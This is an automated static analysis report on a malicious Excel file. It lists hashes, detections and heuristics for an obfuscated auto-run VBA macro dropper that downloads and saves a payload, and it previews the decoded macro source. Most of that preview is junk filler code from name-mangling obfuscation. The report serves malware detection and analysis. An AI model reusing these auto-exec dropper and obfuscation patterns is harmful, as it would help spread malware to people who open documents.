Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a5acd3ed6341593…

MALICIOUS

Office (OLE)

712.5 KB Created: 2018-10-05 09:16:18 Authoring application: Microsoft Excel First seen: 2019-05-31
MD5: 79ebd6e52f7cf72118f5ae78197840dd SHA-1: 90e9ba775665fdde2cf78161b3bfee9590965ef1 SHA-256: 2a5acd3ed63415937dceed3d3d8a2243e41baad1363c218a73f644a3dedbbc8b
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1036 Masquerading

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros download a file from an HTTP source and save it to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic further suggests an obfuscated loader mechanism, likely responsible for executing the downloaded payload. The presence of a 'Workbook_Open' macro points to automatic execution upon opening the document.

Heuristics 9

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        RKpnVa = XZWxSpp.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set aYeLg = CreateObject(NWjrBJjC)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set aYeLg = CreateObject(NWjrBJjC)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        BKeFMqM = Environ(LDRWnC("T(h _qeqq d m]PY cpKaBAF"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 211393 bytes
SHA-256: b2a4a32f7904ba33ae71589d7ace5f18b27203acce5da88d403bb196dee1de51
Detection
ClamAV: No threats found
Obfuscation or payload: likely
970 of 1571 identifiers look randomly generated (e.g. 'yqqyqxNHWzACqsQchOqy') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Workbook_Open()
    dFoLaMrDSCfT = StrReverse(" dTjUum Gnu JN") + Left("fH N[h  of", 5)
    GeyhrNU = 1133 + 485 + 493
    fMnuLfiAw = LTrim("S  h]wrm I@fea (Bs ") + RTrim("Do  @r]iR S@ a!  ZK ")
    MnVawZqZia = Left("ltFad IIbfZ^ vOj ", 5) + LTrim("faME ZDqgQE   aybI  ")
    vSmrGl = Right("d-tBLAJPJS%  zD", 2)
    QgNcQzHXGN = UCase("aBYid  !p$  hN-GOUcU")
    For uKeBSd = 1 To 7
        iAcVP = 158 - 371 - 210
        ctVtmQumMl = Left("N u Cu jSw  IPnb u", 2) + LTrim("be(!  Nf)M-i uz% _jN")
        ZQsHOuu = Left("sk[iAJ $An_ Y", 2) + LTrim(" TtsB.nAnIwd ")
        ierPQH = LTrim("fPqK    $?.    -z ") + RTrim("p w& ^xhNf I  -  ")
        fMnuLfiAw = LTrim("s_m O p m]M  tn  ") + RTrim("kU #auv n^a")
        gRyEnygA = Right("I C]rk)]I_]", 5)
        BHJVUviWr = 472 - 284 - 177
        GeyhrNU = Right("s EfN^QW[B-", 3)
        mEAmILQ = 124 - 427 - 339
    Next uKeBSd

    rChfJyuqJQel = LTrim("  CUIT ydzg  ECif M") + RTrim("Qqx Uzldv e[")
    gRyEnygA = Space(10) + UCase(" )@@Gu  &Po")
    vSmrGl = StrReverse("pHvIf)KZ ]& Y") + Left(")C A( (W@!   V &Ee% ", 4)
    oAeNlNSuh = StrReverse(".uoW-yet- h") + Left("Me F bW)RxK", 4)
    vSmrGl = Right("Px  n tB W@", 2)
    jcMNZQKBafBQ = RTrim("GLgj Pf fPt Z ")
    mEAmILQ = LTrim(". D tsWzOVS)w-$GB ?") + RTrim("$)W LeDqb[A l EKHfh")
    vKtFYB = Right("#Pf    d pJc (BHx Gm", 3)
CmyFYiP
    hfeJEein = UCase("qpI.@ X  ny- ")
    JvzXlJFCp = Right("WC S   $ Y QO@SD", 3)
    While ANKSQa < 4
        For WgwuMk = 1 To 7
            niIVsleA = 1318 + 207 + 1088
            

            kNMlIqTh = 1413 + 1006 + 242
            MnVawZqZia = 263 - 131 - 465
            BHJVUviWr = RTrim("quB lU leeY")
            kNMlIqTh = 401 - 389 - 160
        Next WgwuMk

        MnVawZqZia = StrReverse("zG T G kC_sryR?H.Pa@") + Left(".) e jkVOVL U)", 3)
        DpqVtNf = 403 - 160 - 286
        pYXGKVDlgN = Left("e   Uspq j ", 4) + LTrim("   nP!d cv    U")
        QgNcQzHXGN = UCase("R.S@ s.Cy$")
        

        QgNcQzHXGN = Space(3) + UCase(" fU I% ^ lc ND")
        

        MnVawZqZia = RTrim("?)gVr .SWh ")
        NMrtQq = Left("&u  oFluL  (_$", 2) + LTrim(" G?G   t  ljK")
        ANKSQa = ANKSQa + 2
    Wend

    MnVawZqZia = Left(" TS#I k SWZW-u", 5) + LTrim(".NdW  GhDSSINDp")
    ZQsHOuu = UCase("KS] CUs]Dm M!w$Qc")
    eyxPpBD = 129 - 365 - 330
    shtqUw = RTrim(" Y   FD !x.-E JSzmx")
    GeyhrNU = UCase("mgQA k   _gLK NllMLs")
    

    While UHytPK < 5
        NMrtQq = 576 + 1350 + 583
        JvzXlJFCp = UCase("qCE$spSO%gS iuQ ")
        SdLdFie = 1312 + 408 + 1895
        xneZuw = StrReverse("  Fxrk @Mk ts-qM") + Left("j.Im) Tna  T &M $j )", 2)
        RZGevFxgS = 568 + 1514 + 798
        RxITfgRb = StrReverse("u BdYq!Fmxp ") + Left(" zrq$ oa^ud ", 5)
        SdLdFie = StrReverse("e# WKsp .&R #z ail") + Left("M]mb   Sow Y)", 2)
        RxITfgRb = 229 + 894 + 237
        

        UHytPK = UHytPK + 1
    Wend



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function JnLryq(Lkymuqs As Integer, vAfnNV As String) As String
    SdLdFie = StrReverse("j k&PP YTBiK yUv") + Left("C)UF__Gs d I  k R(", 5)
    ALQVhhx = 210 - 391 - 252
    JvzXlJFCp = 1555 + 641 + 698
    TdeTa = LTrim("WFamrvRBPLg.YBX@vn") + RTrim(".  kZP)V A]lfJG ^g")
    For uqMwju = 1 To 5
        While hUIUHf < 1
            RxITfgRb = UCase("f W^sI  lO-  [Q e T ")
            vKtFYB = RTrim("nB@  znw lM  -ij&&K")
            iAcVP = Space(12) + UCase("f BUeH^WMP RmjE]]")
            pYXGKVDlgN = Space(6) + UCase("? ] FH]ohRS  (Es")
            SdLdFie = Right("Sev#bXt@(.br ", 5)
            gRyEnygA = UCase("NP[%W aSFy&V? ")
            hUIUHf = hUIUHf + 3
        Wend

        eyxPpBD = Left("^EkiWE_  Yz", 2) + LTrim("BL[p$IC LVC @ a#")
        ierPQH = Left("hx )rCKf? ", 4) + LTrim("v V@A_Dxx  xrPLg")
        oHVXE = Left("?CZ.#DT-g kI .(TR", 2) + LTrim("eF#]@C S Hd")
        iAcVP = UCase("Q baX M! to  Kd ^o W")
        RZGevFxgS = Left("w] VQInMRO W   G", 5) + LTrim("qyWdEOx bID")
        fMnuLfiAw = Right("- U  v  [x? ZD hl", 3)
        kNMlIqTh = 496 - 162 - 146
        niIVsleA = Space(7) + UCase(")U%cc$zAgt Kp .Q g@O")
        KaUMJHufTP = StrReverse("gzG GhX tb ") + Left(" p  a[ pi)N", 3)
        YQRFOenjbsmS = 891 + 620 + 109
    Next uqMwju

    TdeTa = LTrim("v $l^wMr YA!m") + RTrim("  !s hbGig")
    

    KaUMJHufTP = 139 - 277 - 203
    RxITfgRb = 365 + 1758 + 1255
    MnVawZqZia = 396 - 485 - 279
    pYXGKVDlgN = Left("nT ub^n Mo  )WFB[ ", 5) + LTrim(" f[jt s$jf# wF!")
    CxNgrwn = LTrim("N  d[^ Ndt s[f A&") + RTrim("  n[UZ ^m gQ")
    oAeNlNSuh = Space(11) + UCase("nQe-i  a H_LGE")
    

    ALQVhhx = UCase("z #ao #Ak -")
    OoHXDBrwq = Right(" xbw  %k#ac sn", 3)
    JvzXlJFCp = RTrim("a Uxq dLmi XS G  # ")
    eyxPpBD = RTrim("[.YooEaH RK")
    JnLryq = "TMdRzvewSZmuNmePXh"
End Function



Sub YXfkUw(VSJzpK As Boolean, sHrutNK As Double, WsHjZGT As Boolean, CXPJQfm As Integer)
    

    OPyVHLuLtmoo = Right("BDldmxKn#PQ", 3)
    xXbjez = UCase("  zYS T f[ u  ")
    lcLVggzd = StrReverse("eG  KH#lI MkO m") + Left("Wmpdw )evnj #&@yy$ ", 4)
    gRyEnygA = Right("!RfaSd ZFoh q", 3)
    RxITfgRb = Left("&MnE LvUcY  r$!y  aw", 4) + LTrim("q FK- uXICIa  FW T")
    rChfJyuqJQel = RTrim("^ hrtaCp rV &qy&J w")
    lcLVggzd = 1171 + 144 + 469
    ALQVhhx = Space(16) + UCase("Vx_eiO(O     lq)OB")
    While QgXgpc < 4
        RZGevFxgS = 432 - 227 - 384
        dFoLaMrDSCfT = 310 - 360 - 443
        kNMlIqTh = StrReverse("KV_r^pKEk ge ") + Left("   $Ttq  F?B% #", 5)
        zgsvQWpgmJ = Space(1) + UCase(")FF MAIIU#A jL eHN(D")
        QgNcQzHXGN = UCase("U iE[ @?rEvA  [ Ao")
        RxITfgRb = Right("Vj Jai YKC-MBRr", 4)
        xneZuw = 378 - 300 - 288
        MnVawZqZia = UCase("-Pk?Rdbm k Or! y?")
        

        QgXgpc = QgXgpc + 1
    Wend

    OitSSVCcwgM = UCase(" hG$V J ).c.  AsD ")
    BHJVUviWr = RTrim("yH_KqpQCcCq(NR Qyyh")
    oHVXE = Space(9) + UCase("L.  HU?& t( UN")
    

    GeyhrNU = UCase("I S a^c[UZs  a^")
    zgsvQWpgmJ = Left("T fIJt q r F", 3) + LTrim(" Q#oMr  r s")
End Sub


Sub WNFCGh(UegvUUd As Integer, LkPJty As Integer, jfusoR As Integer, PEfbjGh As Boolean)
    svMiXf = RTrim("(GlZOEbmVt#  ")
    iAcVP = Right(" br]Ed Ep%Yb  Hp", 3)
    For PRWfLC = 1 To 4
        For iMcZqz = 1 To 8
            SdLdFie = Left("xNVGFfPK  Y !]nd", 3) + LTrim("#l]^h  c  dt$o ")
            YQRFOenjbsmS = UCase("UO mO)T Q s s[ (")
            RxITfgRb = Right("so  du  (rs ", 3)
            YQRFOenjbsmS = UCase(" % V %BL !-  ?B")
            MnVawZqZia = UCase("^fw] n   PMewDRl wV")
            iAcVP = 152 - 110 - 119
            

        Next iMcZqz

        QgNcQzHXGN = 498 - 342 - 388
        mEAmILQ = Right("]gl  Qi-LR!@NPiv u", 5)
        lcLVggzd = Right("Q  @   nV [ RT ", 3)
        jcMNZQKBafBQ = 130 - 362 - 434
        ALQVhhx = RTrim("c_Dk!N ohon?")
        

    Next PRWfLC

    KOmPLOw = 1191 + 1948 + 1568
    GeyhrNU = 369 + 1339 + 1077
    

    ZitqBieRAbk = StrReverse("ADE& ^XMq _  ]# .") + Left("(XkU  g- k_tulFDnLi ", 2)
    YQRFOenjbsmS = 344 + 1260 + 1079
    rChfJyuqJQel = 1114 + 823 + 187
    svMiXf = Space(18) + UCase("OSCL.g  wGJ)&qn$L ")
    RZGevFxgS = LTrim("_mq]QtskBvDe") + RTrim(".  TooGj% imd  m o ")
    GeyhrNU = Space(9) + UCase("^  dcT$K   ZOCy$fu")
    tVCVKWHbVK = Left(" tozm_E!jM ", 2) + LTrim("dCR hpK(Qj  &Ojya&ds")
    OoHXDBrwq = LTrim("sH k THn iK$Whk") + RTrim("y KXF?_ CC E ")
End Sub



Attribute VB_Name = "Module2"

Function JdDHoL(YyGalPB As Boolean, IUqDKeG As Double, BwTEDC As Double, vFNxeA As Boolean, hFMwmRM As Integer) As String
    KaUMJHufTP = 110 - 459 - 389
    KaUMJHufTP = RTrim("  w( i L?f ")
    eyxPpBD = Left("yCRxnV^WZi![n ", 4) + LTrim("e &jUtadIki   qrZy y")
    CxNgrwn = Left("JCL^y@Zo in[na ]", 2) + LTrim("rm $&$z $M")
    OitSSVCcwgM = Left("t iM[@)KSK [iKT p z", 4) + LTrim(" hA% loaon h k.% D")
    QgNcQzHXGN = Right("(zi!DLKx bxfbe Em$", 2)
    oHVXE = 334 - 321 - 166
    YQRFOenjbsmS = Space(1) + UCase("& essD_ V%IVDE")
    

    fMnuLfiAw = RTrim("bD?jSWScSk]N]  r")
    JdDHoL = "qjxbXsrUIP"
End Function



Attribute VB_Name = "Module3"

Sub vwvwZX(mouLxSp As Integer, HHHjTL As Integer, cNMjqiC As String, zEExAE As Double, BlvpLeH As Integer)
    SdLdFie = 1128 + 1064 + 1393
    QgNcQzHXGN = StrReverse(" Evg NwL@tB A(^") + Left(" ki Y c. q@", 4)
    kNMlIqTh = Space(18) + UCase("(  v(TRDVSvjp   l")
    MnVawZqZia = StrReverse("VV bXt fs ") + Left("eXhW]FzT L  Cs", 4)
    KaUMJHufTP = Right("o  h p@ Nbdh $", 5)
    rChfJyuqJQel = Space(19) + UCase("BDL- r (r ")
    DpqVtNf = Right("  bsJ  #twhS #X", 3)
    pYXGKVDlgN = Right("C  toE?$ By", 2)
    For EYdXWO = 1 To 2
        For cwzpbW = 1 To 7
            OitSSVCcwgM = LTrim("PWEz i- wMhsH   D") + RTrim("Pn W-yP RIV?^ RNN")
            rChfJyuqJQel = 289 - 484 - 326
            eyxPpBD = StrReverse("me MmSAiey g]") + Left("qt ? )BS)zg Z", 4)
            xXbjez = RTrim("   - c rh (  r  p")
            oAeNlNSuh = 724 + 1308 + 1519
            

            eyxPpBD = Right("E AK &  #$ cal z", 2)
            ierPQH = 297 - 270 - 174
            

        Next cwzpbW

        xXbjez = Space(6) + UCase(" !lP r Qlm[Zw(%c ")
        RxITfgRb = Right("-([q!jIVfp lX?dU", 5)
        dFoLaMrDSCfT = 286 - 436 - 424
        

        KaUMJHufTP = StrReverse(" &P$  - qvO  (cxd") + Left("q) SaZBEA E", 2)
        NMrtQq = 335 - 297 - 278
        vXHLaeUPRm = 472 - 275 - 356
        CxNgrwn = Right("QWE[Q  ^K ", 3)
        

    Next EYdXWO

    For XVEHtq = 1 To 5
        While yIroAZ < 1
            OitSSVCcwgM = RTrim("LQztwq eiyl@]")
            eyxPpBD = LTrim(" wHOeKzP i.ARw ") + RTrim("k Dy% Wk[b!UI  ")
            xneZuw = Right(" D PxOST?)s$ !]x@H", 4)
            SdLdFie = RTrim("  GbzR ^$ D^X Ygx ")
            gRyEnygA = Space(6) + UCase("^vaG!  wYz b-va[LSg")
            yIroAZ = yIroAZ + 2
        Wend

        

        NMrtQq = LTrim("  _Bm([]wTln$U") + RTrim("  OdUIWA %J& ")
        kNMlIqTh = StrReverse("o KZ)s z&w UAW tG P") + Left("ZA_ pn  cTbV% __zoY!", 4)
        iAcVP = Space(17) + UCase("I KFXOH  x[W")
        gRyEnygA = LTrim("g?a   ( O! SNpW") + RTrim("ws ]yS-  GEJcM  ")
        tVCVKWHbVK = 202 + 1933 + 846
        RZGevFxgS = StrReverse("I CKiEQrN&ZPQ [K") + Left("FRUajWf  O", 2)
        pYXGKVDlgN = UCase("c u   w-h [")
        

        jcMNZQKBafBQ = UCase(" ZASsM XNC[ L^@th")
    Next XVEHtq

    DpqVtNf = Right(" C  s O^s?^   ", 3)
    KOmPLOw = UCase("!s  mtiKXov")
End Sub



Sub vJQPNQ(xBxOGF As Integer, nQLQMG As Boolean, PCilFFx As Boolean)
    xneZuw = RTrim("V&%] Sjh.K D os M")
    For SUiKke = 1 To 8
        OitSSVCcwgM = LTrim("c# xLxkx W_Pz(  &") + RTrim("M !SwgS   ]S @Ui")
        gRyEnygA = LTrim("[n HoQxYE S]t e. ") + RTrim("JGJ -( O%Bn%oCN g")
        BHJVUviWr = Left(" Edy AD- C ", 2) + LTrim("xUS Ttdw fcx")
        OitSSVCcwgM = 279 - 273 - 183
        KaUMJHufTP = Right("J)vP ! Oo   y M[", 2)
        mEAmILQ = 1229 + 462 + 1551
        vXHLaeUPRm = UCase("U KRA cq  A")
        dFoLaMrDSCfT = Right(" Gff.$ZkA  g   G-T", 2)
        iAcVP = 316 - 263 - 404
        niIVsleA = Right("rf? gOO( F -]", 3)
    Next SUiKke

    jcMNZQKBafBQ = UCase("l i vx%U _Dx _")
    iAcVP = StrReverse("R-  q  oa j?") + Left("- T K_!v?  qLUAF  ", 5)
    

    pYXGKVDlgN = UCase("al[(J cLd .AfLhAL")
    jcMNZQKBafBQ = Space(3) + UCase(" $m&HRX]WM  $ e _k")
    fMnuLfiAw = LTrim("uCx&JFkk! M)n") + RTrim(" P Qwe  Q dQ^EIp")
    oHVXE = Left("KzhgV&   N%VZ", 3) + LTrim("Dk  Fj )Es-  -")
    JvzXlJFCp = LTrim(" %zWdmn Zd t") + RTrim(" jJ?osiliK_ ")
    zgsvQWpgmJ = UCase("aMHrG [VVh Nu_?b")
    iAcVP = Left(" Gaei Pei g rA Xw   ", 3) + LTrim("   b ]u&-b")
    KOmPLOw = RTrim("oztf-lP  -")
    eyxPpBD = 404 - 408 - 129
    xXbjez = RTrim("omVt#bbreC Rh I ]o")
    pYXGKVDlgN = UCase("p!# j-V I go W V")
    RZGevFxgS = Space(6) + UCase("   dE  xI  K?dAd")
End Sub



Attribute VB_Name = "Module4"

Function QOmZEH(oQtEdih As Boolean, hUbiAdf As Integer, mEuvYO As String) As String
    JvzXlJFCp = LTrim("iH_ h&xp YYV") + RTrim("vDwVwrlb F F %")
    vSmrGl = StrReverse("Hg_E!? NN) t mY") + Left(" E cfYa@B h Cx]  U.", 4)
    

    iAcVP = Left(" )( PZ qOoH ", 3) + LTrim("X hOH nODW[B  ")
    DpqVtNf = UCase("A    m$uEao J")
    CxNgrwn = UCase("]P?oZR-TC(  wY")
    RAxwicYc = LTrim("t^)_   hqSzIJ ") + RTrim("qytIXQ  ]Jg?KNabJ%")
    ierPQH = Left("oMHMe qAUtu y^", 3) + LTrim("qmIaQ#ggou-Y-cSu#QSw")
    iAcVP = Right(" _?FnHn nsUsVo", 5)
    

    vXHLaeUPRm = 1199 + 1429 + 1902
    

    QOmZEH = "UjqiwRNNyRIc"
End Function



Sub BmCFwQ(MSZaqK As Boolean, xAeXoL As Double, Uiibks As String)
    pYXGKVDlgN = UCase("(  v nW[ M$i")
    For mvmsto = 1 To 2
        For aAIDFd = 1 To 5
            CxNgrwn = Right("yZ BZGh Z)YF?J] _", 5)
            ierPQH = Left("ku]v?#SEjS KQ ]  (W", 4) + LTrim(" GQR FQ  %D@ n$zv UY")
            dFoLaMrDSCfT = 227 - 294 - 452
            

            hfeJEein = Space(13) + UCase(" ?ohZ?X tF  ")
            ZitqBieRAbk = LTrim("I CO@-En?j   Hp VKN") + RTrim("txd  ywFH uD C  b t.")
            ctVtmQumMl = LTrim("tUWDm# N@ rs  X)QO_") + RTrim("bYJ ).fC P  .X Whz  ")
            lcLVggzd = Right("iKYw    Fp$WO n", 2)
            rChfJyuqJQel = 1872 + 991 + 1189
            CxNgrwn = Right(" R$di- M(Z tbdwRvez", 2)
        Next aAIDFd

        xXbjez = StrReverse("zkl o%jWAY") + Left("vKrpZtnUK^B", 3)
        svMiXf = UCase("D k W -BqA")
        

        SdLdFie = Space(11) + UCase(" PAp _OjKc VE")
        YQRFOenjbsmS = Space(18) + UCase(" tjbz@JYuJUHO %EFb")
        MSeKfTkbQCO = 492 - 277 - 495
        fMnuLfiAw = UCase("qBT  xXvDWQKPG O")
    Next mvmsto

    For LAIsOL = 1 To 4
        While kIxRUq < 4
            DpqVtNf = Right(". ID  _H!dow E", 4)
            iAcVP = Space(12) + UCase("y)IZaDYz#  E sBI)ymv")
            CxNgrwn = Right("YHAaq  Rgf  @  _ DEr", 2)
            KsbQiwSESt = LTrim("?B-o fIM (roxKt $o ") + RTrim(" H   Z_g? ")
            vKtFYB = Left("yF HA!jEXFUs lO  #C", 5) + LTrim(" [ Nw . (D]")
            kIxRUq = kIxRUq + 1
        Wend

        KsbQiwSESt = 1979 + 246 + 1658
        OitSSVCcwgM = 1504 + 874 + 1835
        

        JvzXlJFCp = Space(9) + UCase("PuB R e XB")
        SdLdFie = LTrim("b_ I  MG -JB #juV") + RTrim(" (lk(o)b Ekqq Wd@p X")
    Next LAIsOL

    KaUMJHufTP = Right(" iRgItQG F   uX", 2)
    ZQsHOuu = LTrim("#KdWDFdFLrJ") + RTrim("Co-&XE E)-#Aa  JOz)p")
    MnVawZqZia = Left(" h $p hmE He", 5) + LTrim("  !yT_m qu")
    OitSSVCcwgM = Left("e !Ehf@Vo lb!v  l ", 5) + LTrim("w%@ %Z  Rz")
    While YsNpIB < 3
        YQRFOenjbsmS = Right(" rd !jY e]uSu", 4)
        OPyVHLuLtmoo = 1815 + 511 + 1154
        DpqVtNf = 639 + 1654 + 1263
        jcMNZQKBafBQ = StrReverse("@T  .k^  W?%& f") + Left("STR.M  nUS uW JN ", 3)
        rChfJyuqJQel = LTrim("(svH Az aQO sJW![") + RTrim("V  I#tg!!g ] NFm   ")
        niIVsleA = RTrim(" .$ #p(KkN-Nz$ P")
        niIVsleA = LTrim("  q  F F.I%icqI ") + RTrim("R MR)xQRcA #zoG  $R")
        YsNpIB = YsNpIB + 1
    Wend

    QgNcQzHXGN = 1418 + 1438 + 1726
    DpqVtNf = Right("vDPxDS  dUOff", 3)
    For dHQSIQ = 1 To 3
        For rUFKAe = 1 To 9
            CxNgrwn = StrReverse("Xj$R Fk.  ") + Left("- nCIEV]OOgdB?gem", 2)
            KaUMJHufTP = UCase("cX&$ E MW tpLJRL")
            CxNgrwn = Space(9) + UCase(" _ apPwU LF@mEx  ?l%")
            

            KOmPLOw = Space(1) + UCase("  oy  r yJ ")
            svMiXf = Space(3) + UCase(" lv (   ^S DE")
            BHJVUviWr = Right("f. aZM a  ", 4)
            OoHXDBrwq = StrReverse("VvbXb  - CY NXD  o") + Left("O GOuxn_aOK", 5)
        Next rUFKAe

        MSeKfTkbQCO = Left("NKvXE ya#X o!s Q", 5) + LTrim("fGnXnfad $v")
        YQRFOenjbsmS = RTrim("[.Wa LR^ [b ")
        MSeKfTkbQCO = 130 - 196 - 166
        CxNgrwn = Right("NGfmAPu_-nL]", 3)
        

        iAcVP = 933 + 1159 + 582
        TdeTa = 1467 + 515 + 1933
        YQRFOenjbsmS = UCase(" r  r#baR m.U  d@ ")
    Next dHQSIQ

    jcMNZQKBafBQ = 389 - 318 - 233
End Sub



Sub okaCSJ(vQXYExv As Boolean, UkoQaQ As Double)
    KOmPLOw = LTrim("! Xh L S ]") + RTrim(" _z&t_K q ")
    ierPQH = LTrim("%_n & PAq!^^g y ") + RTrim(" n Pxfq?f - iSLkkF P")
    TdeTa = 342 - 435 - 481
    

    While sZCdrS < 3
        vXHLaeUPRm = Right("c&inv $ V IY  _ ", 5)
        TdeTa = 361 - 388 - 127
        NMrtQq = UCase(" _mEVKf g_i]j u ")
        ZitqBieRAbk = Right("M$rS(HF x @e  tu", 3)
        tVCVKWHbVK = StrReverse("B )? B%WuG") + Left(". N]ozYdKeYW", 5)
        KsbQiwSESt = UCase("O xFSNs Y @Y IpYS d[")
        gRyEnygA = 355 + 676 + 1831
        KsbQiwSESt = Left("uDexy Pf Z@lg", 2) + LTrim(" F    B! FFPSuMjMWaG")
        QgNcQzHXGN = StrReverse("w &tm UJ c") + Left("lizcH ndkc#R  TGdAL", 2)
        kNMlIqTh = 342 + 1277 + 131
        sZCdrS = sZCdrS + 2
    Wend

    

    vXHLaeUPRm = RTrim(" c kV c F#bqVp aY Z ")
    dFoLaMrDSCfT = 1560 + 1449 + 1601
    svMiXf = 1196 + 914 + 1287
    NMrtQq = LTrim("OXv ? C.@f O I") + RTrim("  v d h(T[ .q  mJI J")
    RAxwicYc = StrReverse("jy A v r cBCD_!?E") + Left("P!  S p$ qlD AyZD%", 5)
    shtqUw = Space(16) + UCase(" IyGDsrlLZxMyJ ca?")
    oHVXE = LTrim("iv_ k&X ) q_.d I_ S") + RTrim("aI na$bk[d")
    xXbjez = 103 - 312 - 367
    RAxwicYc = 624 + 1969 + 1554
    dFoLaMrDSCfT = RTrim("J  )?[G & hb G  ")
    MSeKfTkbQCO = Space(10) + UCase("r      Vwf  QJmS A ")
    OoHXDBrwq = Left("iA( KgdJ  ", 5) + LTrim(" u tOR  T   g#jtF J")
    vKtFYB = Left("&k j[b  jDB Ml@q$", 3) + LTrim(" Hn-b!j%QQu^B$yz%")
End Sub



Sub iVncwk(rCAfsHS As Double, elKpPo As Boolean, yWZIMk As Double)
    NMrtQq = LTrim("# du!X .PlEt") + RTrim(" a$kT L & !w&-)rXDkO")
    ALQVhhx = 1489 + 1258 + 1471
    KsbQiwSESt = StrReverse("jw  Myv o zF _^Q ") + Left("SWl tKbY  PO", 5)
    

    jcMNZQKBafBQ = Space(9) + UCase("LzG(g i  EADzM  ")
    vKtFYB = RTrim("gqv?v -Lj^ Fyp%obqU ")
    RZGevFxgS = UCase("r GVfO #      YyPS")
    ZQsHOuu = 1028 + 1946 + 1446
    svMiXf = Left(".-  ZJ. J[Y!Ah.", 2) + LTrim("yXwgu Eueu ] @ J")
    

    oHVXE = StrReverse(" o )pH&zVkthJ#") + Left(" !Ga!CyY]^- (e.   ", 5)
    oAeNlNSuh = RTrim("x[v n  R ] Fl")
    

    

    While rqvWer < 3
        KaUMJHufTP = RTrim("AnAu j @] iOD e")
        xXbjez = 325 - 304 - 371
        JvzXlJFCp = Right("ni )iuOPrmH-Z", 5)
        xXbjez = Right("[ c kA-P. NvZL", 2)
        QgNcQzHXGN = Right("lg_ RN.U ig a)O(?(", 5)
        shtqUw = 1714 + 228 + 1942
        kNMlIqTh = Space(14) + UCase("%&nd%L $M&^vn [Tl")
        rqvWer = rqvWer + 1
    Wend

    fMnuLfiAw = 479 - 308 - 220
    CxNgrwn = LTrim("A ![#) yE)mTg$%.") + RTrim("Od_vZ#Y n G  m")
    RxITfgRb = 379 - 100 - 137
    RAxwicYc = StrReverse(".HRynUm&  P$%Qa pN J") + Left("  M Vxo#  Z", 4)
End Sub



Attribute VB_Name = "Module5"

Function mNBXEC(ObohtEU As String, NbGVrjG As Double, qGtDHZ As Boolean, yXGZpp As Boolean, CgVaBc As Boolean) As String
    KsbQiwSESt = 1175 + 1992 + 540
    vXHLaeUPRm = Space(18) + UCase(" !&atcieu ^JB !i")
    For qXCoLq = 1 To 2
        For jCaDFs = 1 To 5
            iAcVP = LTrim(" &pO%LsTX ]S^gR!l") + RTrim("loaF s vy. hF?p-w c")
            MnVawZqZia = LTrim("$.i K [DPR(  J?d?x o") + RTrim(" onJD l?o CFiuXFPd")
            ctVtmQumMl = RTrim("i  Rr So( R oqjmO")
            ctVtmQumMl = RTrim("UG GSUc _ ")
            oHVXE = UCase(" Ksj E] )^zn")
            YQRFOenjbsmS = LTrim(" L z[ YCeI HGCzfB]OI") + RTrim("D&I M Zh P ")
            RZGevFxgS = LTrim(" ry!Q-mSwI!") + RTrim("L JSn r^)]Q")
            MSeKfTkbQCO = Right("gpQRNySlV dz$ ! e JS", 4)
            

            mEAmILQ = Right("i dXZ(MlUvEH jfFfOX", 3)
        Next jCaDFs

        ZitqBieRAbk = Space(19) + UCase("?- QB^pz Q qE   Ib")
        tVCVKWHbVK = Space(4) + UCase("WD? YGKpOOI%PV")
        vSmrGl = UCase("Wa$#r [y  U?zb ")
        CxNgrwn = 106 - 220 - 353
        shtqUw = RTrim("Y( hp $GP  Vf")
        pYXGKVDlgN = 1735 + 1485 + 497
    Next qXCoLq

    KaUMJHufTP = Left("CKI Nl z ^) h", 5) + LTrim("x yXvnTKa xb")
    While aAzALh < 2
        While GXmXvI < 5
            iAcVP = 447 - 206 - 452
            GeyhrNU = UCase(".gE fno) R")
            gRyEnygA = Left("Vt UB  p  Jui%UWIm E", 3) + LTrim("?doCg b(M@ z]vP ")
            xXbjez = UCase("Y[Zo^mfKDD Ke yf cQ")
            

            GXmXvI = GXmXvI + 2
        Wend

